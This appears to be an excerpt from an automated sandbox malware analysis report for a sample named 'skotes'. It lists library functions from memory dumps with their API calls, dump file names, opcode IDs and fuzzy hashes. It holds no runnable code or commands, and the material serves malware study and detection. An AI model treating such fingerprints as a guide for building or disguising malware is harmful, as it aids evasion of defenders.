                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: Concurrency::details::$Base::$Scheduler$ContextThrottling$InternalTimeVirtual$Processor$AssignAvailableBlockedChangeClaimConcurrency::location::_ExerciseFoundH_prolog3_catchNextProcessor::RingSchedulingSpinStartupTicket::TimerUntilWith
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1475861073-0
                                                                                                                                                                                                                                                                                    • Opcode ID: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
                                                                                                                                                                                                                                                                                    • Instruction ID: 619d15907108ff97d4ed8d060387d5aad6ccb09ad46376def143c02bd41a4c6e
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: DA314730B09251AEDF16AA7844927FEBBB69F51318F0481A9D58DD72C2EB244D4AC391
                                                                                                                                                                                                                                                                                    Function 00184840 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • _ValidateLocalCookies.LIBCMT ref: 00184877
                                                                                                                                                                                                                                                                                    • ___except_validate_context_record.LIBVCRUNTIME ref: 0018487F
                                                                                                                                                                                                                                                                                    • _ValidateLocalCookies.LIBCMT ref: 00184908
                                                                                                                                                                                                                                                                                    • __IsNonwritableInCurrentImage.LIBCMT ref: 00184933
                                                                                                                                                                                                                                                                                    • _ValidateLocalCookies.LIBCMT ref: 00184988
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
                                                                                                                                                                                                                                                                                    • String ID: csm
                                                                                                                                                                                                                                                                                    • API String ID: 1170836740-1018135373
                                                                                                                                                                                                                                                                                    • Opcode ID: 9958a00e2a7d686d5cd8c6d39582d955a7b7b3701e7764a0fa7d814ff99e4294
                                                                                                                                                                                                                                                                                    • Instruction ID: 3c23ee552bf9dbeea53e440dd1d478ee4d94deb0055886bbcabe6d11ed94bc21
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 9958a00e2a7d686d5cd8c6d39582d955a7b7b3701e7764a0fa7d814ff99e4294
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: A041A534E0020A9BCF20EF68D884A9E7BB5FF4A318F148155F9145B352DB359B55CF91
                                                                                                                                                                                                                                                                                    Function 0017DD18 Relevance: 10.6, APIs: 7, Instructions: 117threadCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • Concurrency::details::UMS::CreateUmsCompletionList.LIBCONCRT ref: 0017DD91
                                                                                                                                                                                                                                                                                    • Concurrency::details::InternalContextBase::ExecutedAssociatedChore.LIBCONCRT ref: 0017DDAE
                                                                                                                                                                                                                                                                                    • Concurrency::details::InternalContextBase::WorkWasFound.LIBCONCRT ref: 0017DE14
                                                                                                                                                                                                                                                                                    • Concurrency::details::InternalContextBase::ExecuteChoreInline.LIBCMT ref: 0017DE29
                                                                                                                                                                                                                                                                                    • Concurrency::details::InternalContextBase::WaitForWork.LIBCONCRT ref: 0017DE3B
                                                                                                                                                                                                                                                                                    • Concurrency::details::InternalContextBase::CleanupDispatchedContextOnCancel.LIBCMT ref: 0017DE4B
                                                                                                                                                                                                                                                                                    • Concurrency::details::UMS::GetCurrentUmsThread.LIBCONCRT ref: 0017DE74
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: Concurrency::details::$Context$Base::Internal$ChoreWork$AssociatedCancelCleanupCompletionCreateCurrentDispatchedExecuteExecutedFoundInlineListThreadWait
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 2885714658-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 3aa5f23f39f905f1579afd2df1928ceffe5e7482a099606296c10fc65f1c954f
                                                                                                                                                                                                                                                                                    • Instruction ID: afa386d923263a094d1b143ee93c807741fc6b5a963abb0379cc48592e85e672
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 3aa5f23f39f905f1579afd2df1928ceffe5e7482a099606296c10fc65f1c954f
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 7C418E30A042489ADF2AEBA4D9557AC77B16F25304F14C0A9E8496B2C3DF354E09C762
                                                                                                                                                                                                                                                                                    Function 0017E7AF Relevance: 10.6, APIs: 7, Instructions: 102COMMONLIBRARYCODE
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 0017E7D7
                                                                                                                                                                                                                                                                                      • Part of subcall function 0017E544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 0017E577
                                                                                                                                                                                                                                                                                      • Part of subcall function 0017E544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 0017E599
                                                                                                                                                                                                                                                                                    • Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0017E854
                                                                                                                                                                                                                                                                                    • Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 0017E860
                                                                                                                                                                                                                                                                                    • Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 0017E86F
                                                                                                                                                                                                                                                                                    • Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 0017E879
                                                                                                                                                                                                                                                                                    • Concurrency::location::_Assign.LIBCMT ref: 0017E8AD
                                                                                                                                                                                                                                                                                    • Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 0017E8B5
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
